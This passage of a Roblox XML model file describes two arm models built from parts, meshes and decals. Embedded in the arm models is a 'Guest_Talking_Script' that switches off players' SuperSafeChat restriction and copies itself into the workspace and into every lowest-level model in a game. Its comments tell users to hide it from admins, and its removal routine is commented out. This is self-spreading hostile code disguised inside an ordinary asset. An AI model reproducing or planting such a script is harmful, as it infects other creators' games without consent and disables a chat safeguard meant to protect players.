			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX247">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Arm1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX248">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">0000fh</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX249">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>45.5</X>
							<Y>4</Y>
							<Z>16.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>4.38300706e-017</X>
							<Y>-5.7588823e-018</Y>
							<Z>8.61851061e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-4.74099991e-017</X>
							<Y>-0.0150171854</Y>
							<Z>2.36701206e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX250">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX251">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">w9bu5nlka</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX252">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">gcl2hlra</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX253">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>45.444458</X>
							<Y>2.96839213</Y>
							<Z>16.4909668</Z>
							<R00>0.831468523</R00>
							<R01>0.55556953</R01>
							<R02>-9.11920469e-018</R02>
							<R10>-0.55556953</R10>
							<R11>0.831468523</R11>
							<R12>-3.42285418e-008</R12>
							<R20>-1.90163352e-008</R20>
							<R21>2.84599544e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Ring</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX254">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.20000005</X>
								<Y>1</Y>
								<Z>1.20000005</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX255">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>45.666626</X>
							<Y>3.30090928</Y>
							<Z>16.4909668</Z>
							<R00>0.831469238</R00>
							<R01>0.555570006</R01>
							<R02>-9.11920469e-018</R02>
							<R10>-0.555570006</R10>
							<R11>0.831469238</R11>
							<R12>-3.42285418e-008</R12>
							<R20>-1.90163512e-008</R20>
							<R21>2.84599793e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Rist</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX256">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Decal" referent="RBX257">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=6368030</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX258">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>45.222229</X>
							<Y>2.63592696</Y>
							<Z>16.4909668</Z>
							<R00>9.11920469e-018</R00>
							<R01>-0.555568099</R01>
							<R02>-0.831466317</R02>
							<R10>3.42285418e-008</R10>
							<R11>-0.831466317</R11>
							<R12>0.555568099</R12>
							<R20>-1</R20>
							<R21>-2.84598798e-008</R21>
							<R22>1.90162854e-008</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Hand</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX259">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.20000005</X>
								<Y>3</Y>
								<Z>1.20000005</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX260">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>46</X>
							<Y>3.79987741</Y>
							<Z>16.4909668</Z>
							<R00>-0.831469476</R00>
							<R01>0.555570185</R01>
							<R02>9.11920469e-018</R02>
							<R10>0.555570185</R10>
							<R11>0.831469476</R11>
							<R12>3.42285418e-008</R12>
							<R20>1.90163565e-008</R20>
							<R21>2.84599881e-008</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX261">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX262">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX263">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Arm2</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX264">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>52.5</X>
							<Y>4</Y>
							<Z>16.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>4.38300706e-017</X>
							<Y>-5.7588823e-018</Y>
							<Z>8.61851061e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-4.74099991e-017</X>
							<Y>-0.0150171854</Y>
							<Z>2.36701206e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX265">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX266">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2846wgwjj</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX267">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">i1n5e0</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX268">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">w35uvc2q</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX269">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>52.333374</X>
							<Y>3.30090928</Y>
							<Z>16.4909668</Z>
							<R00>0.831469476</R00>
							<R01>-0.555570185</R01>
							<R02>-9.11920469e-018</R02>
							<R10>0.555570185</R10>
							<R11>0.831469476</R11>
							<R12>-3.42285418e-008</R12>
							<R20>1.90163565e-008</R20>
							<R21>2.84599881e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Rist</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX270">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Decal" referent="RBX271">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=6368030</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX272">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>52.555542</X>
							<Y>2.96839213</Y>
							<Z>16.4909668</Z>
							<R00>0.831468761</R00>
							<R01>-0.555569708</R01>
							<R02>-9.11920469e-018</R02>
							<R10>0.555569708</R10>
							<R11>0.831468761</R11>
							<R12>-3.42285418e-008</R12>
							<R20>1.90163405e-008</R20>
							<R21>2.84599633e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Ring</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX273">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
